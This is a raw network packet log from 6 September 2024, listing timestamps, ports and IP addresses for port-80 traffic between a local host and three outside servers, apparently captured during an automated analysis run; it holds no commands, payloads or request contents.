Sep 6, 2024 08:17:06.156054020 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.156064987 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.156092882 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.156115055 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.156116962 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.156128883 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.156183004 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.156193018 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.156203032 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.156210899 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.156219959 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.156248093 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.156276941 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.156289101 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.156299114 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.156311989 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.156322002 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.156322956 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.156343937 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.156368017 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.156495094 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.156506062 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.156527996 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.156538963 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.156542063 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.156557083 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.156567097 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.156595945 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.156733990 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.156750917 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.156761885 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.156774044 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.156781912 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.156785965 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.156800032 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.156830072 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.156893969 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.156943083 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.156955957 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.156991959 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.156992912 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.157004118 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.157006979 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.157016039 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.157028913 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.157035112 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.157047987 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.157077074 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.157103062 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.157114029 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.157129049 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.157139063 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.157140970 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.157150984 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.157154083 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.157166004 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.157166958 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.157197952 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.157222986 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.157591105 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.157608032 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.157619953 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.157632113 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.157644033 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.157645941 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.157675028 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.157789946 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.157802105 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.157812119 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.157835007 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.157851934 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.157866001 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.157883883 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.157895088 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.157907009 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.157922029 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.157936096 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.157948017 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.157948017 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.157958984 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.157970905 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.157974005 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.157984018 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.157994032 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.158020973 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.158031940 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.158031940 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.158045053 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.158057928 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.158068895 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.158077002 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.158087015 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.158088923 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.158102036 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.158112049 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.158138037 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.158438921 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.158454895 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.158467054 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.158478022 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.158478022 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.158488989 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.158495903 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.158500910 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.158512115 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.158529997 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.158540964 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.158540964 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.158570051 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.158597946 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.158653021 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.158670902 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.158682108 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.158709049 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.158739090 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.158766031 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.158787966 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.158798933 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.158811092 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.158822060 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.158828020 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.158842087 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.158853054 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.158859968 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.158865929 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.158880949 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.158884048 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.158896923 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.158900023 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.158910990 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.158925056 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.158957958 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.158989906 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.159002066 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.159013033 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.159029961 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.159040928 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.159041882 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.159054041 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.159065008 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.159065962 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.159080029 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.159080982 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.159091949 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.159102917 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.159113884 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.159115076 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.159127951 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.159152031 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.159162045 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.159171104 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.159173965 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.159185886 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.159198046 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.159209013 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.159209013 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.159223080 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.159228086 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.159240007 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.159250021 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.159256935 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.159281969 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.159306049 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.159682035 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.159692049 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.159703970 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.159723043 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.159743071 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.159749985 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.159761906 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.159771919 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.159784079 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.159791946 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.159796000 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.159807920 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.159816027 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.159818888 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.159832001 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.159846067 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.159859896 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.159883976 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.161922932 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.161963940 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.161967039 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.161984921 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.161998034 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.162003994 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.162009954 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.162023067 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.162034035 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.162041903 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.162053108 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.162053108 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.162076950 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.162079096 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.162091017 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.162101030 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.162102938 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.162123919 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.162146091 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.162170887 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.162182093 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.162192106 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.162204981 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.162216902 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.162239075 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.162412882 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.162456989 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.162460089 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.162471056 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.162493944 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.162509918 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.162516117 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.162520885 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.162530899 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.162543058 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.162548065 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.162578106 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.162755966 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.162766933 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.162776947 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.162797928 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.162815094 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.162828922 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.162838936 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.162848949 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.162862062 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.162867069 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.162884951 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.162892103 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.162902117 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.162909985 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.162913084 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.162934065 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.162957907 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.163204908 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.163223028 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.163233995 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.163261890 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.163283110 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.163285017 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.163294077 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.163326025 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.163347960 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.163358927 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.163371086 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.163382053 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.163387060 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.163393974 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.163398027 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.163424015 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.163441896 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.163486004 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.163497925 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.163507938 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.163520098 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.163532019 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.163532972 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.163542986 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.163553953 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.163556099 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.163582087 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.163592100 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.164110899 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.164128065 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.164139032 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.164149046 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.164156914 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.164160013 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.164170027 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.164217949 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.164227962 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.164241076 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.164247036 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.164251089 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.164257050 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.164273977 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.164300919 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.164328098 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.164340019 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.164350033 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.164362907 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.164376020 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.164377928 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.164382935 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.164390087 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.164407015 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.164416075 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.164427996 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.164437056 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.164438963 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.164450884 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.164463043 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.164463043 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.164484978 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.164491892 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.164985895 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.165002108 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.165014029 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.165020943 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.165024042 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.165035963 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.165040016 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.165047884 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.165055037 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.165077925 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.165129900 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.165142059 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.165152073 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.165163994 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.165173054 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.165175915 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.165189028 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.165198088 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.165220022 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.165235043 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.165246964 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.165258884 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.165270090 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.165276051 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.165281057 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.165298939 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.165303946 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.165311098 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.165322065 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.165334940 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.165345907 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.165359974 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.165383101 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.165941000 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.165951967 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.165962934 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.166027069 CEST	80	49733	147.45.44.104	192.168.2.4
